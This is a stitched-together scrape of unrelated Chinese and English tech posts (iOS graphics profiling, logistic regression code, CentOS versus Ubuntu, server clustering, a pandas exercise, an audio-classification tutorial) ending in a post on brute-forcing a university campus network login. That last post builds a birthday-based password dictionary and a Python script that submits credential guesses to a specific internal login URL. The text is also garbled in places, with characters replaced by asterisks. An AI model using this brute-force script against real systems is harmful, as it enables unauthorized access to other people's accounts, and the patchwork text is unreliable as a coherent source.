iOS测试fps方式

Measure Graphics Performance

Extensive use of graphics in your iOS app can make your app stand out from your competitors. But unless you use graphics resources responsibly, your app will slow down, reduce battery life, and look mediocre no matter how good the content you are trying to render. For optimal graphic performance:

  • Ensure that the frame rate of animations is sufficient for providing a fluid visual experience without negatively impacting app performance. 
  • Reduce the number of views your app uses. 
  • Reduce the use of opacity, such as in views that exhibit a translucent blur. If you need to use opacity, avoid using it over views that are updated frequently. Otherwise, energy cost is magnified, as both the background view and the translucent view must be updated whenever content changes. 
  • Draw to smaller portions of the screen—only the portions that are changing. To do this, use a href=”” needsToDrawRect: /a or a href=”” getRectsBeingDrawn:count: /a to identify the specific area to update, and pass the result to drawRect:
  • Eliminate drawing when your app or its content is not visible; for example, when your app is in the background, or when its content is obscured by other views, clipped, or offscreen. 
  • Eliminate drawing during window resizing. 

Measure Core Animation Graphics Performance in iOS

The Core Animation profiling template uses the Core Animation and Time Profiler instruments to measure your iOS app’s graphics and CPU performance. This template provides a quick and lightweight starting point for measuring the number of frames per second rendered by your app. It allows you to quickly see where your app renders fewer frames than expected. By correlating what you were doing at the time the sample was taken, you can identify areas of your code that need to be optimized.

NOTE

Use the Core Animation template to profile an app on a physical device. Profiling an app in the iOS Simulator will not produce true real-world results.

Do not use the Core Animation instrument to measure OpenGL ES performance.

To measure frame rate

  1. Connect your iOS device to your Mac.
  2. Launch Instruments.
  3. When the profiling template selection dialog appears, click Core Animation.
  4. Choose your iOS device and app from the target device and process lists.
  5. Click Choose to create a trace document.
  6. Click the Record button () in the toolbar or press Command-R to begin recording.
  7. Use your app normally.
  8. Click the Stop button () or press Command-R again when complete.
  9. Examine the collected data.

    The detail pane shows the frame rate for each recorded sample.

Correlate Interactions with Results

After capturing data with the Core Animation instrument, you may see spikes in the timeline pane where the frame rate of the app becomes appreciably better. In some cases, however, spikes can be caused by changing the device between landscape and normal orientation—and if you don’t know this, you might spend time trying to find what caused the performance increase. One way to correlate interactions with results is to insert flags into the timeline when you performed certain events. See Set Flags.

Debugging Options

Core Animation contains a number of useful debugging options in the display settings area of the inspector pane. You do not need to be running a trace to use these options on your iOS device.

  • Color Blended Layers. Shows blended view layers. Multiple view layers that are drawn on top of each other with blending enabled are highlighted in red. Reducing the amount of red in your app when this option is selected can dramatically improve your app’s performance. Blended view layers often cause slow table scrolling. 
  • Color Hits Green and Misses Red. Marks views in green or red. A view that is able to use a cached rasterization is marked in green. 
  • Color Copied Images. Shows images that are copied by Core Animation in blue. 
  • Color Immediately. Removes the 10 ms delay when performing color-flush operations. 
  • Color Misaligned Images. Places a magenta overlay over images where the source pixels are not aligned to the destination pixels. 
  • Color Offscreen-Rendered Yellow. Places a yellow overlay over content that is rendered offscreen. 
  • Color OpenGL Fast Path Blue. Places a blue overlay over content that is detached from the compositor. 
  • Flash Updated Regions. Colors regions on your iOS device in yellow when those regions are updated by the graphics processor. 

Measure OpenGL Activity in iOS

The OpenGL ES Analysis profiling template uses the OpenGL ES Analyzer and GPU Driver instruments to measure and analyze OpenGL ES activity in your iOS app in order to detect correctness and performance problems. It also recommends how to address found problems.

To measure OpenGL Activity

  1. Connect your iOS device to your Mac.
  2. Launch Instruments.
  3. When the profiling template selection dialog appears, click OpenGL ES Analysis.
  4. Choose your iOS device and app from the target device and process lists.
  5. Click Choose to create a trace document.
  6. Click the Record button () in the toolbar or press Command-R to begin recording.
  7. Use your app normally, exercising your OpenGL ES graphics code.
  8. After a few seconds of measurement, click the Stop button () or press Command-R again.
  9. Examine the collected data.

Errors are listed in the detail pane sorted by their severity. Red squares indicate the most severe problems, and orange triangles indicate less severe problems. A recommendation and the stack trace are displayed in the extended detail area of the inspector pane for the issue selected in the detail pane.

Find Graphics-Related Bottlenecks in iOS or OS X

The GPU Driver profiling template uses the GPU Driver and Time Profiler instruments to measure app performance and provides more than just the number of frames per second your app renders.

To look for graphics-related bottlenecks

  1. Launch Instruments.
  2. When the profiling template selection dialog appears, click GPU Driver.
  3. Choose your device and app from the target device and process lists.
  4. Click Choose to create a trace document.
  5. Click the Record button () in the toolbar or press Command-R to begin recording.
  6. Use your app normally.
  7. Click the Stop button () or press Command-R again when complete.
  8. Press Command-3 to display the extended detail area of the inspector pane.
  9. Examine the collected data.

The individual statistics displayed by the GPU Driver instrument in the timeline pane can be enabled and disabled in the record settings area of the inspector pane.

The detail pane displays all of the gathered information for a specific sample. Select a row of data to view the sample’s statistics in the extended detail area of the inspector pane.

Bottlenecks for an OpenGL app are usually GPU or CPU bottlenecks. GPU bottlenecks occur when the GPU forces the CPU to wait for information because the GPU has too much information to process. CPU bottlenecks occur when the GPU has to wait for information from the CPU before the GPU can process it. CPU bottlenecks can often be fixed by changing the underlying logic of your app to create a better overall flow of information to the GPU. Common bottlenecks include:

  • Geometry limited. If Tiler Utilization is high, examine your vertex shader processes. 
  • Pixel limited. If Rendered Utilization is high, examine your fragment shader processes. 
  • CPU limited. If Tiler Utilization and Rendered Utilization are both low, the performance bottleneck may not be in your OpenGL code. Examine your code’s overall logic.

手写逻辑回归代码

手写逻辑回归代码

import pandas as pd
import numpy as np
import os
import matplotlib.pyplot as plt

导入相关数据并进行简单的数据处理
os.chdir(‘D:\\proj\\titanic’)
df=pd.read_csv(‘train.csv’,encoding=’gbk’)
df.columns
sex_dummy=pd.get_dummies(df[‘Sex’],prefix=’Sex’)
pclass_dummy=pd.get_dummies(df[‘Pclass’],prefix=’Pclass’)
embarked_dummy=pd.get_dummies(df[‘Embarked’],prefix=’Embarked’)
parch_dummy=pd.get_dummies(df[‘Parch’],prefix=’Parch’)
sibsp_dummy=pd.get_dummies(df[‘SibSp’],prefix=’SibSp’)
df.drop([‘PassengerId’,’Sex’,’Pclass’,’Embarked’,’Parch’,’SibSp’,’Name’,’Ticket’,’Cabin’],axis=1,inplace=True)
df_train=pd.concat([df,sex_dummy,pclass_dummy,embarked_dummy,parch_dummy,sibsp_dummy],axis=1)
dataset=df_train.reindex(columns=[‘Age’,’Fare’, ‘Sex_female’, ‘Sex_male’, ‘Pclass_1′,’Pclass_2’, ‘Pclass_3’, ‘Embarked_C’, ‘Embarked_Q’, ‘Embarked_S’,’Parch_0′, ‘Parch_1’, ‘Parch_2’, ‘Parch_3’, ‘Parch_4’, ‘Parch_5’, ‘Parch_6’, ‘SibSp_0’, ‘SibSp_1’, ‘SibSp_2’, ‘SibSp_3’, ‘SibSp_4’, ‘SibSp_5’, ‘SibSp_8′,’Survived’ ])
dataset_1=df_train.reindex(columns=[‘Fare’, ‘Sex_female’, ‘Sex_male’, ‘Pclass_1′,’Pclass_2’, ‘Pclass_3’, ‘Embarked_C’, ‘Embarked_Q’, ‘Embarked_S’,’Parch_0′, ‘Parch_1’, ‘Parch_2’, ‘Parch_3’, ‘Parch_4’, ‘Parch_5’, ‘Parch_6’, ‘SibSp_0’, ‘SibSp_1’, ‘SibSp_2’, ‘SibSp_3’, ‘SibSp_4’, ‘SibSp_5’, ‘SibSp_8′,’Survived’ ])
dataset[‘Age’].fillna(np.mean(dataset[‘Age’]),inplace=True)
dataset.info()

开始手写代码
逻辑回归函数
#逻辑回归函数
def sigmoid(x):
s=1/(1+np.exp(-x))
return s

定义标准化函数
#将xmat标准化
def normalizer(xmat):
inmat=xmat.copy()
mean=np.mean(inmat,axis=0)
std=np.std(inmat,axis=0)
result=(inmat-mean)/std
return result

计算损失函数
#计算损失函数
def Loss(xmat,ymat,weight,n):
y_pred=sigmoid(xmat*weight)
loss=-(1/n)*np.sum((np.multiply(ymat,np.log(y_pred))+np.multiply((1-ymat),np.log(1-y_pred))))
return loss

计算逻辑回归权重
#计算逻辑回归的权重
def BDG_LR(dataset,penalty=None,Lambda=1,alpha=0.001,mat_iter=10001):
xmat=np.mat(dataset.iloc[:,:-1])
ymat=np.mat(dataset.iloc[:,-1]).reshape(-1,1)
xmat=normalizer(xmat)
n,m=xmat.shape
losslist=[]
weight=np.zeros((m,1))
for i in range(mat_iter):
grad=xmat.T*(sigmoid(xmat*weight)-ymat)/n
# print((sigmoid(xmat*weight)-ymat))
# print(grad)
if penalty==’l2′:
grad=grad+Lambda*weight
if penalty==’l1′:
grad=grad+Lambda*np.sign(weight)
weight=weight-alpha*grad
if i % 100 ==0:
losslist.append(Loss(xmat,ymat,weight,n))
#随着迭代次数的增加,用新的权重计算损失函数
plt.figure()
x=range(len(losslist))
plt.plot(x,losslist,color=’r’)
plt.xlabel(‘number’)
plt.ylabel(‘loss’)
plt.show()
return weight,losslist

用数据集测试
BDG_LR(dataset,penalty=’l2′)
1
损失函数结果如下图

%title插图%num

服务器系统是选择CentOS,还是选择Ubuntu

服务器系统是选择CentOS,还是选择Ubuntu

 

选择CentOS还是Ubuntu?

CentOS是Linux发行版之一,和Redhat的区别就是没有红帽的标志。

CentOS和RHEL一样,都可以使用Fedora EPEL来补足软件。

%title插图%num

Ubuntu基于着名的Debian发行版。

使用Debian衍生软件学习Linux的用户对apt-get将更加舒适,熟悉Red Hat系统的用户可能更喜欢CentOS,但如果您刚开始使用Linux,那么软件包管理器并不是一个很强的区别因素。

%title插图%num

CentOS适用于不需要*新版本的企业和开发人员。CentOS更加稳定和安全,因为它始终使用稳定(但较旧的)版本的软件。

CentOS具有更长的释放周期; 它还具有更长的支持周期。Ubuntu的长期支持版本每两年发布一次,具有5年的支持期。

CentOS是托管行业的首选分销商,所以如果您希望服务器与该行业的大多数产品兼容,那么这是安全的选择。

%title插图%num

云计算市场

Ubuntu – 57.5%

Windows – 7.8%

Red Hat – 4.8%

CentOS – 3.7%

Fedora 1.4%

云计算市场还是Ubuntu的天下。

linux适合做服务器,不适合做桌面

桌面的要求是,能够不停地安装各种奇怪的软件,然后再不停地卸载,不停地更新,然后几年不用重装系统!
而服务器的要求是稳定的运行,一台服务器只要安装少许几个软件,10年不需要安装新的软件,*多就是升升级而已!
所以linux复杂的库依赖问题不会对服务器造成影响,但是作为桌面,则会引起很大的问题。
linux如果能够像windows那样,库依赖问题能够很好的解决,则linux作为桌面则大有希望了,当然APT/YUM已经很好的解决这些问题了,但是还是有问题,稳定性还是不如windows.
APT/YUM做的烂(有些包依赖有错误),而且并不是所有软件都在apt/yum服务器上,有时候需要自己安装软件,这样就造成了系统的混乱!
但是为了使用*新的软件,有时候必须自己安装,这样真是无解呀!除非所有的软件发起者都主动向APT/YUM提交代码,但是可能吗?
Windows的世界可以做到每一个新硬件,都需要windows来认证一番,但是linux的世界没有一个发行版有这么大的权威性!

参考:
1. pkg-config
2. rpm/deb(dpkg):就好比exe
3. apt/yum:用来管理所有的deb/rpm

CentOS 与 Ubuntu:哪个更适合做服务器?

CentOS 与 Ubuntu:哪个更适合做服务器?

 

已经决定买一台虚拟服务器,但还不能决定使用哪个 Linux 发行版?我们都经历过这种困扰。对于 Linux 发行版来说,要在这么多的发行版和种种支派flavors中选择一个,那简直能让人崩溃。不过,对于服务器而言,有两个主流的 Linux 发行版,那就是 CentOS 和 Ubuntu。但如何从这两个之中选择,这是摆在管理员、初学者和专业人士面前的主要问题。在对这两个(和更多)发行版有了一定的经验之后,我们决定对这两个发行版用于服务器时做个比较。

利益相关:本文译自 thishosting.rocks,根据国内情况替换了相应推荐的云服务商。

概览

%title插图%num

哪个更适合新手?

Ubuntu。

一如往常那样,它主要取决于你的需求和以前的经验,但一般来说,Ubuntu 对于初学者来说是更好的选择。主要是因为这两个原因:

  • Ubuntu 有一个庞大的社区,随时可以免费提供帮助。我指的是真正的大。数以千计的用户分布在数百个不同的在线论坛和兴趣组内。甚至有现实生活中的大会。你也可以为 CentOS 找到很多教程和帮助,特别是对于简单的 LAMP 栈和流行的应用程序而言。
  • Ubuntu 服务器对于以前使用过 Ubuntu 桌面的人来说会容易得多。同样的情况也存在于 CentOS 和 Fedora 之间,但是 Ubuntu 桌面版比任何其他基于 Linux 的家用桌面更受欢迎。

所以,如果你是一个初学者,而且没有任何特殊要求,那就去使用 Ubuntu 服务器。 更好的是,你可以从一个便宜的托管服务提供商那购买服务,这样你就可以在你的服务器上进行实验,还有一个专业的 24/7 支持团队准备好帮助你。

哪个更适合商用?

CentOS。

同样,你仍然可以使用 Ubuntu 作为商用网站或公司内部服务器,但 CentOS 有它的优势:

  • CentOS(可以说)更稳定以及更安全。由于 CentOS 的更新频率较低,这意味着软件测试的时间更长,并且只有真正稳定的版本才会得到发布。如果你使用 CentOS,你不会因新的有 bug 的应用程序版本而遇到任何稳定性问题,因为你不会得到那个新的有 bug 的版本。
  • 大多数控制面板(包括*受欢迎的控制面板 – cPanel)仅支持 CentOS。所以这意味着如果你是一个网站托管公司,或者如果你是一个有很多客户的网站服务代理商,并且需要一个控制面板 – CentOS 是一个更好的选择。

尝试一下它们并选择一个

如果你还是不能决定,你可以免费试试它们。你可以在本地安装或使用 live 镜像。你还可以从阿里云和 Ucloud 这样的地方买到便宜的虚拟专用服务器。你可以在几秒钟内启动 CentOS/Ubuntu 服务器。

哪个更快?

它们在速度方面是相同的。它们和运行在你自己的硬件上一样快。它们将如你配置的一样快。不管怎样,你都应该正确配置并且保护所有的服务器、配置和应用程序。

你会使用哪个发行版?想告诉我们你是哪个发行版的拥趸么?请随时留下评论。

文末评论

W. Anderson:

我的大多数 Linux 服务器部署都是针对企业客户的,所以我对文章作者以 GUI 客户端版本来反映任何服务器的管理功能感到困惑。通常,许多服务提供商也会在 CentOS、Ubuntu,或经常部署的 OpenSuse Leap 和 FreeBSD 10+ 服务器操作系统上提供 WebMin、VirtualAdmin 或类似工具作为控制面板,即使是在虚拟专用服务器(VPS)环境中。

CentOS 在许多商业应用以及高级网络/虚拟化和云计算环境方面具有明显优于 Ubuntu 的优势,并且 CentOS 充分利用 SELinux 框架用于加强的安全层,而目前在 Ubuntu 中则不可用(或不容易)。

这种类型的比较通常是多余的,因为几乎总是有特定的和细微的要求,和需要服务器实现的需求,这将决定哪个发行版具有更多的优势或用途 – 基于技术专家/托管公司的专业知识和广泛的经验。

VAN DER BEKEN:

正确的比较应该是对 Debian 和 CentOS 进行比较。

以我的经验,我使用 CentOS 和 Debian 作为服务器,稍微偏爱 Debian 一点点,因为它的社区。

服务器虚拟化集群的优缺点分析

服务器虚拟化*显著的功能之一就是可以在主机集群内瞬间迁移虚拟机(VM)、减少服务器或应用系统的停机时间。虽然每个主要的hypervisor都具有这个功能,但每个厂商实现集群方式却有差异。

在使用微软Hyper-V搭建的测试环境中,通过构建主机集群环境,我节省了无数的服务器停机时间。但是,这个技术也引起了一些问题。为此,专家阐述了服务器虚拟化集群环境*重要的三个优缺点。

服务器虚拟化集群优点一:主动的风险回避

我相信,服务器集群的*大优点是它可以主动将VM从一个主机迁移到另外一个主机。这样的话,就可以提高服务器和应用系统的运行时间。

在我的环境中,当内存不足、CPU负载偏高或者虚拟主机遇到较高的I/O压力时,我会收到警报。如果我不能确定真正的原因或者系统需要重启,我就可以主动将VM迁移到集群内的其他主机。

如果这是一个单机,或者说,在主机重启期间,VM不可以关闭;如果重启之后,问题依然存在,我就不得不延长VM的停机时间直到我找到了问题的起因。但是,在虚拟主机集群中,VM就可以被迁移到其他的主机直到问题解决。

服务器虚拟化集群优点二:反应性容错

因为集群中的主机监控着所有VM的活动,因此,当一个节点失效时,失效节点的负载就会被指派到另外一个替代的主机。如果需要较长时间解决失效主机的故障,只要替代它的健康主机有足够的资源,VM就会正常工作。

在我的环境中,如果一个主机失效,VM会自动迁移到另外一个节点。虽然迁移的过程并不平滑,但工作负载自动变化几乎没有停顿。

服务器虚拟化集群优点三:主动的管理

我在一个7*24的组织中工作,因此,打补丁和升级工作就必须采取非常严格的管理。正常情况下,协调1—2台物理主机的停机时间已经比较困难,而要关闭位于同一个物理主机的30多个VM的复杂性就会呈指数增长。

自从切换到单机之后,我妻子就不用担心我要在周日早上1:00-6:00去升级虚拟主机,那个时候,我可以呆在家里休息。利用虚拟主机集群,当某个主机打补丁和重启的时候,其上的VM迁移到替代的主机。打完补丁,VM再迁移到原来的主机。这样,就允许我们在早上*短的时间内,不用停掉整个系统,完成集群的升级。

集群式主机环境的缺点

虽然主机集群环境有令人瞩目的优点,但它同样存在一些实施和管理上的缺点。

服务器虚拟化集群缺点一:实施和配置的复杂性

配置复杂可能是集群的*大缺点。建立集群框架、管理主机间的连通性、配置共享存储都不是简单的任务,可能涉及到组织内部多个团队。你可能不害怕增加的复杂度,然而,很大程度上,都是技术性的工作;但是,随着复杂度的增加,你可能会遗漏某些东西从而影响系统的稳定性。

服务器虚拟化集群缺点二:更新和升级的不利因素

升级到更新版本的产品和硬件组件也可能引起困难。因为,虚拟主机集群连接多个系统,各组件间发生着大量的、复杂的交互。

以更新主机上的多路径I/O(MPIO)驱动为例,该操作会影响整个集群。首先,它影响节点转移逻辑单元号(LUN)到其他节点的效率。同时,在更新MPIO驱动之前,集群中所有主机的HBA卡的Firmware都需要升级。如果FW不用升级,那也必须首先安装HBA卡的驱动。

如果是单机,这可以通过1-2次重启解决。在集群环境中,协调多个虚拟主机服务器则较为困难。升级实际的虚拟主机软件一定是一个具有挑战性的任务,因为集群节点的交互以及不同软件版本支持(比如,SCVMM、Protection Manager等)。

一般情况下,厂商会为这些复杂升级提供详细的、一步一步的操作操作指南;同时,大多数情况下,都会比较顺利。

服务器虚拟化集群缺点三:集群成本因素

成本是另外一个主要的考虑因素。要实现一个虚拟主机集群环境,你需要复制部分基础架构并同时保持虚拟机与主机的比例。此外,大部分厂商的实现需要一个SAN或者独立的磁盘子系统。开源iSCSI或者廉价的磁盘阵列可能是个精明的选择,但这些选项可能存在性能和稳定性的问题。

以我的经验,在重要的基础架构组件上选择廉价的路线会产生问题,造成绊脚石。就因为选择了一个特殊的配置能够工作并不意味着就满足了项目目标。如果管理部门对成本感到担忧,你可以解释给他们虚拟主机集群环境可以提高正常运行时间、提供更好的服务。依我看,如果正确实施,这种配置就完全对得起付出的成本。

*后,每个组织不得不判断虚拟主机集群环境是否适合自己业务系统模式。虽然虚拟主机集群环境引入配置的复杂度、升级问题和潜在的额外成本,但是,你的环境可以从加强的服务器或者应用系统可用性和更好的管理上获益。尽管有潜在的困难或不利因素,但是,我相信实施虚拟主机集群所付出的努力和成本是值得的。

我们可以保持有关利弊的争论,但是,你可以权衡你是否要实施虚拟主机集群。

服务器虚拟化 —— 集群服务器 —— 分布式 —— 云服务

一、服务器虚拟化技术:(是下面集群服务器、云服务的技术基石)
将服务器的物理资源抽象成逻辑资源,让一台服务器变成几台甚至上百台(很少见啊)相互隔离的虚拟服务器,我们不再受限于物理上的界限,而是让CPU、内存、磁盘、I/O等硬件变成可以动态管理的“资源池”,众多虚拟服务器共享“资源池”中的硬件资源,从而提高资源的利用率。

服务器虚拟化主要分为三种:“一虚多”、“多虚一”和“多虚多”。
“一虚多”是一台服务器虚拟成多台服务器,即将一台物理服务器分割成多个相互独立、互不干扰的虚拟环境。(VMware虚拟机技术)
“多虚一”就是多个独立的物理服务器虚拟为一个逻辑服务器,使多台服务器相互协作,处理同一个业务。(集群服务器)
另外还有“多虚多”的概念,就是将多台物理服务器虚拟成一台逻辑服务器,然后再将其划分为多个虚拟环境,即多个业务在多台虚拟服务器上运行。(云服务)

 

二、集群服务器:
所有的计算机拥有一个共同的名称,都安装并运行了某个群集服务(具体实现方式不同)。用户的公共数据被放置到了共享的磁盘柜中,应用程序被安装到了所有的服务器上,也就是说,在集群上运行的应用需要在所有的服务器上安装一遍。(当然,不常用的应用也可以只安装在一台服务器上,一旦出了故障,其他服务器需要先安装该应用才能重启它)
当集群系统在正常运转时,应用只在一台服务器上运行,并且只有这台服务器才能操纵该应用在共享磁盘柜上的数据区,其它的服务器监控这台服务器,只要这台服务器上的应用停止运行(无论是硬件损坏、操作系统死机、应用软件故障,还是人为误操作造成的应用停止运行),
其它的服务器就会接管这台服务器所运行的应用,并将共享磁盘柜上的相应数据区接管过来。

如果集群中的应用只在一台服务器上运行,且刚好这个应用出现故障,其它的某台服务器会重新启动这个应用,接管该应用位于共享磁盘柜上的数据区,进而使该应用重新正常运转。
整个应用的接管过程大体需要三个步骤:侦测并确认故障、后备服务器重新启动该应用、接管共享的数据区。因此在切换的过程中需要花费一定的时间,原则上根据应用的大小不同切换的时间也会不同,越大的应用切换的时间越长。

常用的服务器集群方法:主备切换(可以应用于共享的磁盘柜)、多服务器负载均衡(应用服务器使用)

 

三、分布式:
和“集群”是两个概念。集群是个物理形态,分布式是个工作方式。
将不同的业务分布在不同的地方,就是将一个原先的系统,按照业务功能,拆分成一个个独立的业务子系统。
在分布式结构中,每个子系统就被称为“服务”。这些子系统能够独立运行在web容器中(集群服务器上),它们之间可以通过RPC方式通信。

 

四、云服务:(云计算、云存储)云是网络、互联网的一种比喻说法,是一种网络服务。
用户使用各种终端获取应用服务,这些服务的资源都来自“云”,而不是固定的存在本地的资源。
“云”是一个庞大的资源池,你按需购买;云可以像自来水,电,煤气那样计费。
一般是通过 集群服务器 + 分布式 来实现,对外提供服务接口即可。

python在线考试第九章测试题目

python在线考试第九章测试题目

鸢尾花数据处理
【问题描述】

现要处理鸢尾花数据iris.csv,
1.保留sepal_length大于5的数据;
2.按照鸢尾花的种类(species)分组,得出每种鸢尾花的sepal_width*大值;
3.将四列(sepal_length,sepal_width,petal_length,petal_width)属性相加的结果形成新的一列fertilizer(化肥),表示要施加化肥的数量;
4.按照鸢尾花的种类(species)分组,得出每种鸢尾花的fertilizer平均值;
5.将2与4得到的结果形成DataFrame,按照fertilizer平均值排序后(由小到大)将*终结果写入iris_result.csv文件。

【输入形式】

文件,iris.csv

使用pd.read_csv(‘iris.csv’)读取

【输出形式】

使用to_csv将DataFrame保存

xxx.to_csv(‘iris_result.csv’,index=False,header=True)

【样例输入】

输入的文件内容如下:

sepal_length,sepal_width,petal_length,petal_width,species
4.8,3.4,1.9,0.2,setosa
4.8,3.1,1.6,0.2,setosa
6.8,2.8,4.8,1.4,versicolor
4.9,3.6,1.4,0.1,setosa
6.1,3.0,4.9,1.8,virginica
5.5,2.3,4.0,1.3,versicolor
5.7,2.6,3.5,1.0,versicolor
5.6,2.9,3.6,1.3,versicolor
5.9,3.0,4.2,1.5,versicolor
4.6,3.2,1.4,0.2,setosa
6.7,3.3,5.7,2.1,virginica
5.5,4.2,1.4,0.2,setosa
7.2,3.2,6.0,1.8,virginica
6.6,3.0,4.4,1.4,versicolor
6.2,2.8,4.8,1.8,virginica
6.7,3.3,5.7,2.5,virginica
5.5,2.4,3.7,1.0,versicolor
5.0,3.4,1.5,0.2,setosa
4.9,3.1,1.5,0.1,setosa
6.0,2.2,4.0,1.0,versicolor
6.0,2.2,5.0,1.5,virginica
5.7,2.8,4.5,1.3,versicolor
5.1,3.8,1.9,0.4,setosa
5.0,3.5,1.3,0.3,setosa
5.7,4.4,1.5,0.4,setosa
6.1,2.6,5.6,1.4,virginica
5.2,3.4,1.4,0.2,setosa
6.7,2.5,5.8,1.8,virginica
7.9,3.8,6.4,2.0,virginica
6.3,3.4,5.6,2.4,virginica
5.8,2.7,5.1,1.9,virginica
6.3,3.3,6.0,2.5,virginica
7.2,3.6,6.1,2.5,virginica
4.8,3.0,1.4,0.3,setosa
4.7,3.2,1.3,0.2,setosa
5.1,3.3,1.7,0.5,setosa
6.2,3.4,5.4,2.3,virginica
6.5,3.0,5.8,2.2,virginica
7.0,3.2,4.7,1.4,versicolor
4.3,3.0,1.1,0.1,setosa
5.8,4.0,1.2,0.2,setosa
6.0,2.7,5.1,1.6,versicolor
6.4,2.7,5.3,1.9,virginica
5.7,2.9,4.2,1.3,versicolor
4.7,3.2,1.6,0.2,setosa
6.2,2.2,4.5,1.5,versicolor
5.0,3.0,1.6,0.2,setosa
4.4,3.2,1.3,0.2,setosa
6.3,2.5,5.0,1.9,virginica
7.7,3.0,6.1,2.3,virginica
6.4,2.8,5.6,2.2,virginica
4.9,3.0,1.4,0.2,setosa
5.8,2.7,5.1,1.9,virginica
5.3,3.7,1.5,0.2,setosa
5.5,2.4,3.8,1.1,versicolor
6.9,3.1,5.4,2.1,virginica
5.4,3.7,1.5,0.2,setosa
6.6,2.9,4.6,1.3,versicolor
5.1,3.8,1.5,0.3,setosa
5.8,2.6,4.0,1.2,versicolor
6.1,2.9,4.7,1.4,versicolor
6.3,2.9,5.6,1.8,virginica
6.5,2.8,4.6,1.5,versicolor
5.0,3.5,1.6,0.6,setosa
6.0,3.0,4.8,1.8,virginica
5.4,3.9,1.7,0.4,setosa
4.8,3.0,1.4,0.1,setosa
5.7,2.8,4.1,1.3,versicolor
6.8,3.0,5.5,2.1,virginica
6.5,3.0,5.5,1.8,virginica
5.0,2.0,3.5,1.0,versicolor
5.1,3.4,1.5,0.2,setosa
5.9,3.0,5.1,1.8,virginica
5.0,2.3,3.3,1.0,versicolor
7.2,3.0,5.8,1.6,virginica

【样例输出】

对应的输出文件内容为:

sepal_width,fertilizer
4.4,10.936363636363637
3.2,14.29473684210526
3.8,17.011111111111113

import pandas as pd

df=pd.read_csv(‘iris.csv’)
df=df[df.sepal_length>5]
max1=df.groupby(‘species’)[‘sepal_width’].max()
df[‘fertilizer’]=df[‘sepal_length’]+df[‘sepal_width’]+df[‘petal_length’]+df[‘petal_width’]
mean=df.groupby(‘species’)[‘fertilizer’].mean()
res=pd.DataFrame({‘sepal_width’:max1,’fertilizer’:mean})
res=res.sort_values(by=’fertilizer’)
res.to_csv(‘iris_result.csv’,index=False,header=True)

零基础入门语音识别之赛题介绍

零基础入门语音识别之赛题介绍

声音的产生
声音以波的形式产生,我们从波的视角来理解声音,仅凭频率,幅度,相位,便构成了波及其叠加的所有,声音的不同音高、音量、音色也由这些基本“粒子”组合而来。
世界上所有的声波都可以“降解”到基本波以上,这也是傅里叶变换的基本思想。

赛题数据集介绍
声音分类在很多场景中都有大模型的应用,例如对于音乐的分类可以应用与音乐的检索和推荐中,本赛题的背景是食物的声音的分类。
本次比赛的数据集来自Kaggle的“Eating Sound Collection”(可商用), 数据集中包含20种不同食物的咀嚼声音,赛题任务是给这些声音数据建模,准确分类。

下载天池数据集并解压
!wget http://tianchi-competition.oss-cn-hangzhou.aliyuncs.com/531887/train_sample.zip
!unzip -qq train_sample.zip
!\rm train_sample.zip

!wget http://tianchi-competition.oss-cn-hangzhou.aliyuncs.com/531887/test_a.zip
!unzip -qq test_a.zip
!\rm test_a.zip

上述代码需要在linux系统下运行

数据探索
加载库
import pandas as pd
import numpy as np

pd.plotting.register_matplotlib_converters()
import matplotlib.pyplot as plt
%matplotlib inline
import seaborn as sns

from sklearn.model_selection import train_test_split
from sklearn.metrics import classification_report
from sklearn.model_selection import GridSearchCV

from sklearn.preprocessing import MinMaxScaler

加载音频处理库
import os
import matplotlib.pyplot as plt
import librosa
import librosa.display
import glob
import IPython.display as ipd

我们将主要使用两个库进行音频采集和回放: 1)Librosa:它通常用于分析音频信号,但更倾向于音乐,它包括用于构建MIR(音乐信息检索)系统的nuts 和 bolts。示例和教程可以参考:(https://librosa.github.io/librosa/)

2)IPython.display.Audio: 该模块能使得音频直接在jupyter笔记本中播放。这两个库我们下面都会用到,可用以下命令进行安装:pip install 【包名,如“librosa”】 -i http://pypi.douban.com/simple/ –trusted-host pypi.douban.com

查看音频数据
voice_path = ‘./train_sample’

def look_data():
# 音频类别文件夹个数
print(f’音频文件夹的个数: {len(os.listdir(voice_path))}’)

voice_total = 0
single_label = {}
for ind, label_name in enumerate(os.listdir(voice_path)):
file_path = voice_path + ‘/’ + label_name
single_num = len(os.listdir(file_path))
single_label[label_name] = single_num
voice_total += single_num

print(f’音频文件总量: {voice_total}’)
print(f'{“序号”:<5}{“类别”:<15}{“数量”:<10}{“占比”}’)
for ind, (key, value) in enumerate(single_label.items()):
print(f'{ind:<5}{key:<20}{value:<10}{value / voice_total:.2%}’)

查看音频特征
ipd.Audio(‘音频文件的路径’) #播放文件
librosa.load(‘路径’)#返回数据和采样率
plt.figure(figsize = (14,5))
librosa.display.waveplot(data,sr = sample_rate)#绘制音频文件的波形幅度包络

声谱图是声音或其他信号的频率随时间变化时的频谱(spectrum)的一种直观表示。声谱图有时也称sonographs,voiceprints,或者voicegrams。当数据以三维图形表示时,可称其为瀑布图(waterfalls)。在二维数组中,*个轴是频率,第二个轴是时间。我们使用librosa.display.specshow来显示声谱图。

plt.figure(figsize=(20, 10))
D = librosa.amplitude_to_db(np.abs(librosa.stft(data1)), ref=np.max)
plt.subplot(4, 2, 1)
librosa.display.specshow(D, y_axis=’linear’)
plt.colorbar(format=’%+2.0f dB’)
plt.title(‘Linear-frequency power spectrogram of aloe’)

某高校校园内网登录页面爆破

某高校校园内网登录页面爆破

登录页爆破

项目地址

某高校校园内网登录默认密码为身份证后八位的前七位
推断密码为生日加三位随机数,生成密码字典

f = open(‘password.txt’, mode=’a+’)
for i in range(int(input()), int(input())):
f.write(‘0’ + str(i) + ‘\n’)
f.close

通过WireShark抓包发现页面通过get请求提交参数,编写爆破脚本

import json
import re
import threading
import time
import requests

file1 = open(‘username.txt’, mode=’r’, encoding=’utf-8′)
file2 = open(‘password.txt’, mode=’r’, encoding=’utf-8′)

def dump_username():
dic_username = file1.readlines()
for i in range(len(dic_username)):
dic_username[i] = dic_username[i].strip(‘\n’)
return dic_username

def dump_password():
dic_password = file2.readlines()
for i in range(len(dic_password)):
dic_password[i] = dic_password[i].strip(‘\n’)
return dic_password

def brute(session, username: str, password: str):
url = ‘http://10.255.0.19/drcom/login?callback=dr1003&DDDDD=’ + username + ‘&upass=’ + password + ‘&0MKKey=123456&R1=0&R3=0&R6=0&para=00&v6ip=&v=’
headers = {‘User-Agent’: ‘Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0’,
‘Referer’: ‘http://10.255.0.19/a79.htm’}
r = session.get(url=url, headers=headers, verify=False)
